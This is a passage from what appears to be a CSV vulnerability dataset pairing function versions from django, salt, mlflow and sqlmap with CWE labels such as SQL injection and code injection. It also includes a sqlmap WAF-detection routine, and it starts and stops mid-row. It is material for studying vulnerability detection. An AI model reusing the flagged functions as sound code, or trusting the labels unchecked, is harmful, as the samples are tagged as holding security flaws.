                     "" VALUES (?, "" + "", "".join([""?""] * len(node.values)) + "")""
                self._db.executemany(insert, accumulator[1])
                accumulator = [accumulator[0], []]
                self._db.execute(""COMMIT TRANSACTION"")
            self._accumulator = accumulator
            return accumulator

        grid.populate(_add_multiple_row, self._accumulator)

        #Insert last nodes
        if len(self._accumulator[1]) > 0:
            self._db.execute(""BEGIN TRANSACTION"")
            insert = ""INSERT INTO "" + self._plugin_name + "" (id, "" + \
                     "", "".join(['""' + self._sanitize_name(i.name) + '""' for i in grid.columns]) + "") "" + \
                     "" VALUES (?, "" + "", "".join([""?""] * (len(self._accumulator[1][0])-1)) + "")""
            self._db.executemany(insert, self._accumulator[1])
            self._db.execute(""COMMIT TRANSACTION"")"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/_model_registry/client.py,0,"def __init__(self, registry_uri):
        """"""
        :param registry_uri: Address of local or remote model registry server.
        """"""
        self.registry_uri = registry_uri
        # NB: Fetch the tracking store (`self.store`) upon client initialization to ensure that
        # the tracking URI is valid and the store can be properly resolved. We define `store` as a
        # property method to ensure that the client is serializable, even if the store is not
        self.store",,mlflow/mlflow,1cd6f3d18a5e3c5469bfb1a4dcb292ffa3662333,"def __init__(self, registry_uri):
        """"""
        :param registry_uri: Address of local or remote model registry server.
        """"""
        self.registry_uri = registry_uri
        self.store = utils._get_store(self.registry_uri)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/baidu.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        _, headers, _ = get_page(get=vector)
        retval = re.search(r""fhl"", headers.get(""X-Server"", """"), re.I) is not None
        retval |= re.search(r""yunjiasu-nginx"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,0c67a90cc0dcce929c22fa04623c7a334c5c12d0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        _, headers, _ = get_page(get=vector)
        retval = re.search(r""fhl"", headers.get(""X-Server"", """"), re.I) is not None
        retval |= re.search(r""yunjiasu-nginx"", headers.get(HTTP_HEADER.SERVER), re.I) is not None
        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def alter_db_table(self, model, old_db_table, new_db_table):
        """"""
        Renames the table a model points to.
        """"""
        if (old_db_table == new_db_table or
            (self.connection.features.ignores_quoted_identifier_case and
                old_db_table.lower() == new_db_table.lower())):
            return
        self.execute(self.sql_rename_table % {
            ""old_table"": self.quote_name(old_db_table),
            ""new_table"": self.quote_name(new_db_table),
        })",CWE-89,django/django,23ac35af19face4ad0b466f5aaffafd5db98db0e,"def alter_db_table(self, model, old_db_table, new_db_table):
        """"""
        Renames the table a model points to.
        """"""
        if old_db_table == new_db_table:
            return
        self.execute(self.sql_rename_table % {
            ""old_table"": self.quote_name(old_db_table),
            ""new_table"": self.quote_name(new_db_table),
        })"
,UNKNOWN,UNKNOWN,salt/utils/schedule.py,1,"def eval(self, now=None):
        '''
        Evaluate and execute the schedule

        :param datetime now: Override current time with a datetime object instance``

        '''

        log.trace('==== evaluating schedule now %s =====', now)

        loop_interval = self.opts['loop_interval']
        if not isinstance(loop_interval, datetime.timedelta):
            loop_interval = datetime.timedelta(seconds=loop_interval)

        def _splay(splaytime):
            '''
            Calculate splaytime
            '''
            splay_ = None
            if isinstance(splaytime, dict):
                if splaytime['end'] >= splaytime['start']:
                    splay_ = random.randint(splaytime['start'],
                                            splaytime['end'])
                else:
                    log.error('schedule.handle_func: Invalid Splay, '
                              'end must be larger than start. Ignoring splay.')
            else:
                splay_ = random.randint(1, splaytime)
            return splay_

        def _handle_time_elements(data):
            '''
            Handle schedule item with time elements
            seconds, minutes, hours, days
            '''
            if '_seconds' not in data:
                interval = int(data.get('seconds', 0))
                interval += int(data.get('minutes', 0)) * 60
                interval += int(data.get('hours', 0)) * 3600
                interval += int(data.get('days', 0)) * 86400

                data['_seconds'] = interval

                if not data['_next_fire_time']:
                    data['_next_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])

                if interval < self.loop_interval:
                    self.loop_interval = interval

                data['_next_scheduled_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])

            return data

        def _handle_once(job, data, loop_interval):
            '''
            Handle schedule item with once
            '''
            if data['_next_fire_time']:
                if data['_next_fire_time'] < now - loop_interval or \
                   data['_next_fire_time'] > now and \
                   not data['_splay']:
                    data['_continue'] = True

            if not data['_next_fire_time'] and \
                    not data['_splay']:
                once_fmt = data.get('once_fmt', '%Y-%m-%dT%H:%M:%S')
                try:
                    once = datetime.datetime.strptime(data['once'],
                                                      once_fmt)
                except (TypeError, ValueError):
                    data['_error'] = ('Date string could not '
                                      'be parsed: {0}, {1}. '
                                      'Ignoring job {2}.'.format(
                                          data['once'], once_fmt, job))
                    log.error(data['_error'])
                    return data
                # If _next_fire_time is less than now, continue
                if once < now - loop_interval:
                    data['_continue'] = True
                else:
                    data['_next_fire_time'] = once
                    data['_next_scheduled_fire_time'] = once
            return data

        def _handle_when(job, data, loop_interval):
            '''
            Handle schedule item with when
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data

            if isinstance(data['when'], list):
                _when = []
                for i in data['when']:
                    if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                            i in self.opts['pillar']['whens']):
                        if not isinstance(self.opts['pillar']['whens'],
                                          dict):
                            data['_error'] = ('Pillar item ""whens"" '
                                              'must be a dict. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                        when_ = self.opts['pillar']['whens'][i]
                    elif ('whens' in self.opts['grains'] and
                          i in self.opts['grains']['whens']):
                        if not isinstance(self.opts['grains']['whens'],
                                          dict):
                            data['_error'] = ('Grain ""whens"" must be a dict.'
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                        when_ = self.opts['grains']['whens'][i]
                    else:
                        when_ = i

                    if not isinstance(when_, datetime.datetime):
                        try:
                            when_ = dateutil_parser.parse(when_)
                        except ValueError:
                            data['_error'] = ('Invalid date string {0}. '
                                              'Ignoring job {1}.'.format(i, job))
                            log.error(data['_error'])
                            return data

                    _when.append(when_)

                if data['_splay']:
                    _when.append(data['_splay'])

                # Sort the list of ""whens"" from earlier to later schedules
                _when.sort()

                # Copy the list so we can loop through it
                for i in copy.deepcopy(_when):
                    if len(_when) > 1:
                        if i < now - loop_interval:
                            # Remove all missed schedules except the latest one.
                            # We need it to detect if it was triggered previously.
                            _when.remove(i)

                if _when:
                    # Grab the first element, which is the next run time or
                    # last scheduled time in the past.
                    when = _when[0]

                    if '_run' not in data:
                        # Prevent run of jobs from the past
                        data['_run'] = bool(when >= now - loop_interval)

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = when

                    data['_next_scheduled_fire_time'] = when

                    if data['_next_fire_time'] < when and \
                            not run and \
                            not data['_run']:
                        data['_next_fire_time'] = when
                        data['_run'] = True

                elif not data.get('_run', False):
                    data['_next_fire_time'] = None
                    data['_continue'] = True

            else:
                if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                        data['when'] in self.opts['pillar']['whens']):
                    if not isinstance(self.opts['pillar']['whens'], dict):
                        data['_error'] = ('Pillar item ""whens"" must be dict.'
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    when = self.opts['pillar']['whens'][data['when']]
                elif ('whens' in self.opts['grains'] and
                      data['when'] in self.opts['grains']['whens']):
                    if not isinstance(self.opts['grains']['whens'], dict):
                        data['_error'] = ('Grain ""whens"" must be a dict. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    when = self.opts['grains']['whens'][data['when']]
                else:
                    when = data['when']

                if not isinstance(when, datetime.datetime):
                    try:
                        when = dateutil_parser.parse(when)
                    except ValueError:
                        data['_error'] = ('Invalid date string. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data

                if when < now - loop_interval and \
                        not data.get('_run', False) and \
                        not data.get('run', False) and \
                        not data['_splay']:
                    data['_next_fire_time'] = None
                    data['_continue'] = True

                if '_run' not in data:
                    data['_run'] = True

                if not data['_next_fire_time']:
                    data['_next_fire_time'] = when

                data['_next_scheduled_fire_time'] = when

                if data['_next_fire_time'] < when and \
                        not data['_run']:
                    data['_next_fire_time'] = when
                    data['_run'] = True

            return data

        def _handle_cron(job, data, loop_interval):
            '''
            Handle schedule item with cron
            '''
            if not _CRON_SUPPORTED:
                data['_error'] = ('Missing python-croniter. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data

            if data['_next_fire_time'] is None:
                # Get next time frame for a ""cron"" job if it has been never
                # executed before or already executed in the past.
                try:
                    data['_next_fire_time'] = croniter.croniter(data['cron'], now).get_next(datetime.datetime)
                    data['_next_scheduled_fire_time'] = croniter.croniter(data['cron'], now).get_next(datetime.datetime)
                except (ValueError, KeyError):
                    data['_error'] = ('Invalid cron string. '
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data

                # If next job run is scheduled more than 1 minute ahead and
                # configured loop interval is longer than that, we should
                # shorten it to get our job executed closer to the beginning
                # of desired time.
                interval = (now - data['_next_fire_time']).total_seconds()
                if interval >= 60 and interval < self.loop_interval:
                    self.loop_interval = interval
            return data

        def _handle_run_explicit(data, loop_interval):
            '''
            Handle schedule item with run_explicit
            '''
            _run_explicit = []
            for _run_time in data['run_explicit']:
                if isinstance(_run_time, datetime.datetime):
                    _run_explicit.append(_run_time)
                else:
                    _run_explicit.append(datetime.datetime.strptime(_run_time['time'],
                                                                    _run_time['time_fmt']))
            data['run'] = False

            # Copy the list so we can loop through it
            for i in copy.deepcopy(_run_explicit):
                if len(_run_explicit) > 1:
                    if i < now - loop_interval:
                        _run_explicit.remove(i)

            if _run_explicit:
                if _run_explicit[0] <= now < _run_explicit[0] + loop_interval:
                    data['run'] = True
                    data['_next_fire_time'] = _run_explicit[0]
            return data

        def _handle_skip_explicit(data, loop_interval):
            '''
            Handle schedule item with skip_explicit
            '''
            data['run'] = False

            _skip_explicit = []
            for _skip_time in data['skip_explicit']:
                if isinstance(_skip_time, datetime.datetime):
                    _skip_explicit.append(_skip_time)
                else:
                    _skip_explicit.append(datetime.datetime.strptime(_skip_time['time'],
                                                                     _skip_time['time_fmt']))

            # Copy the list so we can loop through it
            for i in copy.deepcopy(_skip_explicit):
                if i < now - loop_interval:
                    _skip_explicit.remove(i)

            if _skip_explicit:
                if _skip_explicit[0] <= now <= (_skip_explicit[0] + loop_interval):
                    if self.skip_function:
                        data['run'] = True
                        data['func'] = self.skip_function
                    else:
                        data['_skip_reason'] = 'skip_explicit'
                        data['_skipped_time'] = now
                        data['_skipped'] = True
                        data['run'] = False
            else:
                data['run'] = True
            return data

        def _handle_skip_during_range(job, data, loop_interval):
            '''
            Handle schedule item with skip_explicit
            '''
            if not _RANGE_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data
            else:
                if isinstance(data['skip_during_range'], dict):
                    start = data['skip_during_range']['start']
                    end = data['skip_during_range']['end']
                    if not isinstance(start, datetime.datetime):
                        try:
                            start = dateutil_parser.parse(start)
                        except ValueError:
                            data['_error'] = ('Invalid date string for start in '
                                              'skip_during_range. Ignoring '
                                              'job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    if not isinstance(end, datetime.datetime):
                        try:
                            end = dateutil_parser.parse(end)
                        except ValueError:
                            data['_error'] = ('Invalid date string for end in '
                                              'skip_during_range. Ignoring '
                                              'job {0}.'.format(job))
                            log.error(data['_error'])
                            return data

                    # Check to see if we should run the job immediately
                    # after the skip_during_range is over
                    if 'run_after_skip_range' in data and \
                       data['run_after_skip_range']:
                        if 'run_explicit' not in data:
                            data['run_explicit'] = []
                        # Add a run_explicit for immediately after the
                        # skip_during_range ends
                        _run_immediate = (end + loop_interval).strftime('%Y-%m-%dT%H:%M:%S')
                        if _run_immediate not in data['run_explicit']:
                            data['run_explicit'].append({'time': _run_immediate,
                                                         'time_fmt': '%Y-%m-%dT%H:%M:%S'})

                    if end > start:
                        if start <= now <= end:
                            if self.skip_function:
                                data['run'] = True
                                data['func'] = self.skip_function
                            else:
                                data['_skip_reason'] = 'in_skip_range'
                                data['_skipped_time'] = now
                                data['_skipped'] = True
                                data['run'] = False
                        else:
                            data['run'] = True
                    else:
                        data['_error'] = ('schedule.handle_func: Invalid '
                                          'range, end must be larger than '
                                          'start. Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    data['_error'] = ('schedule.handle_func: Invalid, range '
                                      'must be specified as a dictionary. '
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data
            return data

        def _handle_range(job, data):
            '''
            Handle schedule item with skip_explicit
            '''
            if not _RANGE_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
                return data
            else:
                if isinstance(data['range'], dict):
                    start = data['range']['start']
                    end = data['range']['end']
                    if not isinstance(start, datetime.datetime):
                        try:
                            start = dateutil_parser.parse(start)
                        except ValueError:
                            data['_error'] = ('Invalid date string for start. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    if not isinstance(end, datetime.datetime):
                        try:
                            end = dateutil_parser.parse(end)
                        except ValueError:
                            data['_error'] = ('Invalid date string for end.'
                                              ' Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    if end > start:
                        if 'invert' in data['range'] and data['range']['invert']:
                            if now <= start or now >= end:
                                data['run'] = True
                            else:
                                data['_skip_reason'] = 'in_skip_range'
                                data['run'] = False
                        else:
                            if start <= now <= end:
                                data['run'] = True
                            else:
                                if self.skip_function:
                                    data['run'] = True
                                    data['func'] = self.skip_function
                                else:
                                    data['_skip_reason'] = 'not_in_range'
                                    data['run'] = False
                    else:
                        data['_error'] = ('schedule.handle_func: Invalid '
                                          'range, end must be larger '
                                          'than start. Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    data['_error'] = ('schedule.handle_func: Invalid, range '
                                      'must be specified as a dictionary.'
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data

        def _handle_after(job, data):
            '''
            Handle schedule item with after
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
            else:
                after = data['after']
                if not isinstance(after, datetime.datetime):
                    after = dateutil_parser.parse(after)

                if after >= now:
                    log.debug(
                        'After time has not passed skipping job: %s.',
                        data['name']
                    )
                    data['_skip_reason'] = 'after_not_passed'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    data['run'] = False
                else:
                    data['run'] = True
            return data

        def _handle_until(job, data):
            '''
            Handle schedule item with until
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
            else:
                until = data['until']
                if not isinstance(until, datetime.datetime):
                    until = dateutil_parser.parse(until)

                if until <= now:
                    log.debug(
                        'Until time has passed skipping job: %s.',
                        data['name']
                    )
                    data['_skip_reason'] = 'until_passed'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    data['run'] = False
                else:
                    data['run'] = True
            return data

        schedule = self._get_schedule()
        if not isinstance(schedule, dict):
            raise ValueError('Schedule must be of type dict.')
        if 'skip_function' in schedule:
            self.skip_function = schedule['skip_function']
        if 'skip_during_range' in schedule:
            self.skip_during_range = schedule['skip_during_range']
        if 'enabled' in schedule:
            self.enabled = schedule['enabled']

        _hidden = ['enabled',
                   'skip_function',
                   'skip_during_range']
        for job, data in six.iteritems(schedule):

            # Skip anything that is a global setting
            if job in _hidden:
                continue

            # Clear these out between runs
            for item in ['_continue',
                         '_error',
                         '_skip_reason']:
                if item in data:
                    del data[item]
            run = False

            if not isinstance(data, dict):
                log.error(
                    'Scheduled job ""%s"" should have a dict value, not %s',
                    job, type(data)
                )
                continue
            if 'function' in data:
                func = data['function']
            elif 'func' in data:
                func = data['func']
            elif 'fun' in data:
                func = data['fun']
            else:
                func = None
            if func not in self.functions:
                log.info(
                    'Invalid function: %s in scheduled job %s.',
                    func, job
                )
            if 'name' not in data:
                data['name'] = job

            if '_next_fire_time' not in data:
                data['_next_fire_time'] = None

            if '_splay' not in data:
                data['_splay'] = None

            if 'run_on_start' in data and \
                    data['run_on_start'] and \
                    '_run_on_start' not in data:
                data['_run_on_start'] = True

            if not now:
                now = datetime.datetime.now()

            # Used for quick lookups when detecting invalid option
            # combinations.
            schedule_keys = set(data.keys())

            time_elements = ('seconds', 'minutes', 'hours', 'days')
            scheduling_elements = ('when', 'cron', 'once')

            invalid_sched_combos = [set(i)
                    for i in itertools.combinations(scheduling_elements, 2)]

            if any(i <= schedule_keys for i in invalid_sched_combos):
                log.error(
                    'Unable to use ""%s"" options together. Ignoring.',
                    '"", ""'.join(scheduling_elements)
                )
                continue

            invalid_time_combos = []
            for item in scheduling_elements:
                all_items = itertools.chain([item], time_elements)
                invalid_time_combos.append(
                    set(itertools.combinations(all_items, 2)))

            if any(set(x) <= schedule_keys for x in invalid_time_combos):
                log.error(
                    'Unable to use ""%s"" with ""%s"" options. Ignoring',
                    '"", ""'.join(time_elements),
                    '"", ""'.join(scheduling_elements)
                )
                continue

            if 'run_explicit' in data:
                data = _handle_run_explicit(data, loop_interval)
                run = data['run']

            if True in [True for item in time_elements if item in data]:
                data = _handle_time_elements(data)
            elif 'once' in data:
                data = _handle_once(job, data, loop_interval)
            elif 'when' in data:
                data = _handle_when(job, data, loop_interval)
            elif 'cron' in data:
                data = _handle_cron(job, data, loop_interval)
            else:
                continue

            # An error occurred so we bail out
            if '_error' in data and data['_error']:
                continue

            seconds = int((data['_next_fire_time'] - now).total_seconds())

            if 'splay' in data:
                # Got ""splay"" configured, make decision to run a job based on that
                if not data['_splay']:
                    # Try to add ""splay"" time only if next job fire time is
                    # still in the future. We should trigger job run
                    # immediately otherwise.
                    splay = _splay(data['splay'])
                    if now < data['_next_fire_time'] + datetime.timedelta(seconds=splay):
                        log.debug('schedule.handle_func: Adding splay of '
                                  '%s seconds to next run.', splay)
                        data['_splay'] = data['_next_fire_time'] + datetime.timedelta(seconds=splay)
                        if 'when' in data:
                            data['_run'] = True
                    else:
                        run = True

                if data['_splay']:
                    # The ""splay"" configuration has been already processed, just use it
                    seconds = data['_splay'] - now
                    seconds = (data['_splay'] - now).total_seconds()

            if '_seconds' in data:
                if seconds <= 0:
                    run = True
            elif 'when' in data and data['_run']:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + loop_interval):
                    data['_run'] = False
                    run = True
            elif 'cron' in data:
                # Reset next scheduled time because it is in the past now,
                # and we should trigger the job run, then wait for the next one.
                if seconds <= 0:
                    data['_next_fire_time'] = None
                    run = True
            elif 'once' in data:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + loop_interval):
                    run = True
            elif seconds == 0:
                run = True

            if '_run_on_start' in data and data['_run_on_start']:
                run = True
                data['_run_on_start'] = False
            elif run:
                if 'range' in data:
                    data = _handle_range(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                # If there is no job specific skip_during_range available,
                # grab the global which defaults to None.
                if 'skip_during_range' not in data and self.skip_during_range:
                    data['skip_during_range'] = self.skip_during_range

                if 'skip_during_range' in data and data['skip_during_range']:
                    data = _handle_skip_during_range(job, data, loop_interval)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                if 'skip_explicit' in data:
                    data = _handle_skip_explicit(data, loop_interval)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                if 'until' in data:
                    data = _handle_until(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']

                if 'after' in data:
                    data = _handle_after(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']

            # If the job item has continue, then we set run to False
            # so the job does not run but we still get the important
            # information calculated, eg. _next_fire_time
            if '_continue' in data and data['_continue']:
                run = False

            # If there is no job specific enabled available,
            # grab the global which defaults to True.
            if 'enabled' not in data:
                data['enabled'] = self.enabled

            # Job is disabled, set run to False
            if 'enabled' in data and not data['enabled']:
                log.debug('Job: %s is disabled', job)
                data['_skip_reason'] = 'disabled'
                run = False

            miss_msg = ''
            if seconds < 0:
                miss_msg = ' (runtime missed ' \
                           'by {0} seconds)'.format(abs(seconds))

            try:
                # Job is disabled, continue
                if 'enabled' in data and not data['enabled']:
                    log.debug('Job: %s is disabled', job)
                    data['_skip_reason'] = 'disabled'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    continue

                if 'jid_include' not in data or data['jid_include']:
                    data['jid_include'] = True
                    log.debug('schedule: This job was scheduled with jid_include, '
                              'adding to cache (jid_include defaults to True)')
                    if 'maxrunning' in data:
                        log.debug('schedule: This job was scheduled with a max '
                                  'number of %s', data['maxrunning'])
                    else:
                        log.info('schedule: maxrunning parameter was not specified for '
                                 'job %s, defaulting to 1.', job)
                        data['maxrunning'] = 1

                if not self.standalone:
                    data['run'] = run
                    data = self._check_max_running(func,
                                                   data,
                                                   self.opts,
                                                   now)
                    run = data['run']

                if run:
                    log.info('Running scheduled job: %s%s', job, miss_msg)
                    self._run_job(func, data)
            finally:
                # Only set _last_run if the job ran
                if run:
                    data['_last_run'] = now
                    if '_seconds' in data:
                        data['_next_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])
                    data['_splay'] = None","CWE-94, CWE-330",saltstack/salt,81e851e290dd2ac61f86d1e2a96e9b38ebfd34e1,"def eval(self, now=None):
        '''
        Evaluate and execute the schedule

        :param datetime now: Override current time with a datetime object instance``

        '''

        log.trace('==== evaluating schedule now %s =====', now)

        loop_interval = self.opts['loop_interval']
        if not isinstance(loop_interval, datetime.timedelta):
            loop_interval = datetime.timedelta(seconds=loop_interval)

        def _splay(splaytime):
            '''
            Calculate splaytime
            '''
            splay_ = None
            if isinstance(splaytime, dict):
                if splaytime['end'] >= splaytime['start']:
                    splay_ = random.randint(splaytime['start'],
                                            splaytime['end'])
                else:
                    log.error('schedule.handle_func: Invalid Splay, '
                              'end must be larger than start. Ignoring splay.')
            else:
                splay_ = random.randint(1, splaytime)
            return splay_

        def _handle_time_elements(data):
            '''
            Handle schedule item with time elements
            seconds, minutes, hours, days
            '''
            if '_seconds' not in data:
                interval = int(data.get('seconds', 0))
                interval += int(data.get('minutes', 0)) * 60
                interval += int(data.get('hours', 0)) * 3600
                interval += int(data.get('days', 0)) * 86400

                data['_seconds'] = interval

                if not data['_next_fire_time']:
                    data['_next_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])

                if interval < self.loop_interval:
                    self.loop_interval = interval

                data['_next_scheduled_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])

            return data

        def _handle_once(job, data, loop_interval):
            '''
            Handle schedule item with once
            '''
            if data['_next_fire_time']:
                if data['_next_fire_time'] < now - loop_interval or \
                   data['_next_fire_time'] > now and \
                   not data['_splay']:
                    data['_continue'] = True

            if not data['_next_fire_time'] and \
                    not data['_splay']:
                once_fmt = data.get('once_fmt', '%Y-%m-%dT%H:%M:%S')
                try:
                    once = datetime.datetime.strptime(data['once'],
                                                      once_fmt)
                except (TypeError, ValueError):
                    data['_error'] = ('Date string could not '
                                      'be parsed: {0}, {1}. '
                                      'Ignoring job {2}.'.format(
                                          data['once'], once_fmt, job))
                    log.error(data['_error'])
                    return data
                # If _next_fire_time is less than now, continue
                if once < now - loop_interval:
                    data['_continue'] = True
                else:
                    data['_next_fire_time'] = once
                    data['_next_scheduled_fire_time'] = once
            return data

        def _handle_when(job, data, loop_interval):
            '''
            Handle schedule item with when
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data

            if isinstance(data['when'], list):
                _when = []
                for i in data['when']:
                    if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                            i in self.opts['pillar']['whens']):
                        if not isinstance(self.opts['pillar']['whens'],
                                          dict):
                            data['_error'] = ('Pillar item ""whens"" '
                                              'must be a dict. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                        when_ = self.opts['pillar']['whens'][i]
                    elif ('whens' in self.opts['grains'] and
                          i in self.opts['grains']['whens']):
                        if not isinstance(self.opts['grains']['whens'],
                                          dict):
                            data['_error'] = ('Grain ""whens"" must be a dict.'
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                        when_ = self.opts['grains']['whens'][i]
                    else:
                        when_ = i

                    if not isinstance(when_, datetime.datetime):
                        try:
                            when_ = dateutil_parser.parse(when_)
                        except ValueError:
                            data['_error'] = ('Invalid date string {0}. '
                                              'Ignoring job {1}.'.format(i, job))
                            log.error(data['_error'])
                            return data

                    _when.append(when_)

                if data['_splay']:
                    _when.append(data['_splay'])

                # Sort the list of ""whens"" from earlier to later schedules
                _when.sort()

                # Copy the list so we can loop through it
                for i in copy.deepcopy(_when):
                    if len(_when) > 1:
                        if i < now - loop_interval:
                            # Remove all missed schedules except the latest one.
                            # We need it to detect if it was triggered previously.
                            _when.remove(i)

                if _when:
                    # Grab the first element, which is the next run time or
                    # last scheduled time in the past.
                    when = _when[0]

                    if '_run' not in data:
                        # Prevent run of jobs from the past
                        data['_run'] = bool(when >= now - loop_interval)

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = when

                    data['_next_scheduled_fire_time'] = when

                    if data['_next_fire_time'] < when and \
                            not run and \
                            not data['_run']:
                        data['_next_fire_time'] = when
                        data['_run'] = True

                elif not data.get('_run', False):
                    data['_next_fire_time'] = None
                    data['_continue'] = True

            else:
                if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                        data['when'] in self.opts['pillar']['whens']):
                    if not isinstance(self.opts['pillar']['whens'], dict):
                        data['_error'] = ('Pillar item ""whens"" must be dict.'
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    when = self.opts['pillar']['whens'][data['when']]
                elif ('whens' in self.opts['grains'] and
                      data['when'] in self.opts['grains']['whens']):
                    if not isinstance(self.opts['grains']['whens'], dict):
                        data['_error'] = ('Grain ""whens"" must be a dict. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    when = self.opts['grains']['whens'][data['when']]
                else:
                    when = data['when']

                if not isinstance(when, datetime.datetime):
                    try:
                        when = dateutil_parser.parse(when)
                    except ValueError:
                        data['_error'] = ('Invalid date string. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data

                if when < now - loop_interval and \
                        not data.get('_run', False) and \
                        not data.get('run', False) and \
                        not data['_splay']:
                    data['_next_fire_time'] = None
                    data['_continue'] = True

                if '_run' not in data:
                    data['_run'] = True

                if not data['_next_fire_time']:
                    data['_next_fire_time'] = when

                data['_next_scheduled_fire_time'] = when

                if data['_next_fire_time'] < when and \
                        not data['_run']:
                    data['_next_fire_time'] = when
                    data['_run'] = True

            return data

        def _handle_cron(job, data, loop_interval):
            '''
            Handle schedule item with cron
            '''
            if not _CRON_SUPPORTED:
                data['_error'] = ('Missing python-croniter. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data

            if data['_next_fire_time'] is None:
                # Get next time frame for a ""cron"" job if it has been never
                # executed before or already executed in the past.
                try:
                    data['_next_fire_time'] = croniter.croniter(data['cron'], now).get_next(datetime.datetime)
                    data['_next_scheduled_fire_time'] = croniter.croniter(data['cron'], now).get_next(datetime.datetime)
                except (ValueError, KeyError):
                    data['_error'] = ('Invalid cron string. '
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data

                # If next job run is scheduled more than 1 minute ahead and
                # configured loop interval is longer than that, we should
                # shorten it to get our job executed closer to the beginning
                # of desired time.
                interval = (now - data['_next_fire_time']).total_seconds()
                if interval >= 60 and interval < self.loop_interval:
                    self.loop_interval = interval
            return data

        def _handle_run_explicit(data, loop_interval):
            '''
            Handle schedule item with run_explicit
            '''
            _run_explicit = []
            for _run_time in data['run_explicit']:
                if isinstance(_run_time, datetime.datetime):
                    _run_explicit.append(_run_time)
                else:
                    _run_explicit.append(datetime.datetime.strptime(_run_time['time'],
                                                                    _run_time['time_fmt']))
            data['run'] = False

            # Copy the list so we can loop through it
            for i in copy.deepcopy(_run_explicit):
                if len(_run_explicit) > 1:
                    if i < now - loop_interval:
                        _run_explicit.remove(i)

            if _run_explicit:
                if _run_explicit[0] <= now < _run_explicit[0] + loop_interval:
                    data['run'] = True
                    data['_next_fire_time'] = _run_explicit[0]
            return data

        def _handle_skip_explicit(data, loop_interval):
            '''
            Handle schedule item with skip_explicit
            '''
            data['run'] = False

            _skip_explicit = []
            for _skip_time in data['skip_explicit']:
                if isinstance(_skip_time, datetime.datetime):
                    _skip_explicit.append(_skip_time)
                else:
                    _skip_explicit.append(datetime.datetime.strptime(_skip_time['time'],
                                                                     _skip_time['time_fmt']))

            # Copy the list so we can loop through it
            for i in copy.deepcopy(_skip_explicit):
                if i < now - loop_interval:
                    _skip_explicit.remove(i)

            if _skip_explicit:
